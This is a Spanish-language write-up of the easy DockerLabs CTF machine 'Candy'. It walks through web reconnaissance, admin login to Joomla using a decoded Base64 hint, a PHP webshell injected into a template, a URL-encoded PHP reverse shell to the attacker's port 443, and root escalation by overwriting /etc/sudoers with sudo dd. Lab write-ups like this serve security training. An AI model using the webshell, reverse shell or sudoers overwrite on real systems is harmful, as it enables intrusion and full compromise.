Skip to content

Candy

This content is not available in your language yet.

Este artículo documenta la resolución de la máquina virtual Candy, desarrollada por Luisillo_o y clasificada con un nivel de dificultad fácil. A través de un enfoque sistemático, se detallan las fases de reconocimiento, explotación y escalada de privilegios, empleando herramientas comunes en escenarios de captura la bandera (CTF).

  • Nombre: Candy
  • Autor: Luisillo_o
  • Dificultad: Fácil
  • Fecha de creación: 29/08/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo:

    Ventana de terminal
    unzip Candy.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh Candy.tar

Al iniciarse la máquina, se muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

IP

Preparamos el entorno de trabajo:

Ventana de terminal
mkdir Candy
cd Candy
mkt # Crea: content, exploits, nmap, scripts

Ejecutamos un escaneo completo con nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Detectamos directorios y archivos mediante gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Gobuster

Entre los hallazgos más relevantes:

  • index.html: Página principal tipo blog, actualmente sin artículos.

    index.html

  • README.txt y LICENSE.txt: Archivos por defecto de Joomla.

  • robots.txt: Contiene directorios y una pista relevante.

    robots

  • un_caramelo: Archivo adicional que repite la pista encontrada en robots.txt.

    caramelo

  • administrator: Panel de administración de Joomla.

    admin

Una de las pistas clave parece ser una cadena codificada en Base64. La decodificamos:

Ventana de terminal
echo "c2FubHVpczEyMzQ1" | base64 -d

base64

Esto nos proporciona una posible contraseña para iniciar sesión en el panel de administración:

admin login

Ya dentro, accedemos a la sección de Templates, editamos el index.php del tema activo y agregamos una webshell básica:

system($_GET['shadow']);

webshell

Comprobamos la ejecución remota:

http://172.17.0.2/index.php?shadow=id
  1. Abrimos el puerto en nuestra máquina:

    Ventana de terminal
    nc -lvnp 443
  2. Enviamos el siguiente payload (URL-encodeado) a través del parámetro shadow:

    Ventana de terminal
    php%20-r%20%27%24sock%3Dfsockopen%28%22172.17.0.1%22%2C443%29%3Bexec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

Esto nos otorga una shell como www-data:

shell

Con www-data no encontramos vectores inmediatos de escalada. Sin embargo, en /home encontramos un usuario llamado luisillo. Buscamos archivos asociados:

Ventana de terminal
find / -user luisillo 2>/dev/null

find

Uno de los archivos accesibles es:

/var/backups/hidden/otrro_caramelo.txt

Este contiene credenciales en texto plano:

caramelo

Con estas credenciales, accedemos vía SSH como luisillo. Al ejecutar sudo -l vemos que puede ejecutar dd como root:

sudo -l

La utilidad dd permite escribir directamente sobre archivos del sistema. Usamos esta capacidad para modificar /etc/sudoers y otorgar privilegios a luisillo.

Ejemplo basado en GTFOBins:

Ventana de terminal
echo 'luisillo ALL=(ALL) NOPASSWD:ALL' | sudo dd of=/etc/sudoers

escalada

Luego, escalamos a superusuario con:

Ventana de terminal
sudo su

root

La máquina Candy plantea una ruta clara pero efectiva: reconocimiento web básico, explotación de Joomla mediante inyección en templates y escalada mediante manipulación de archivos sensibles con dd. Las pistas diseminadas como “caramelos” hacen honor al nombre de la máquina y ofrecen una experiencia entretenida y educativa.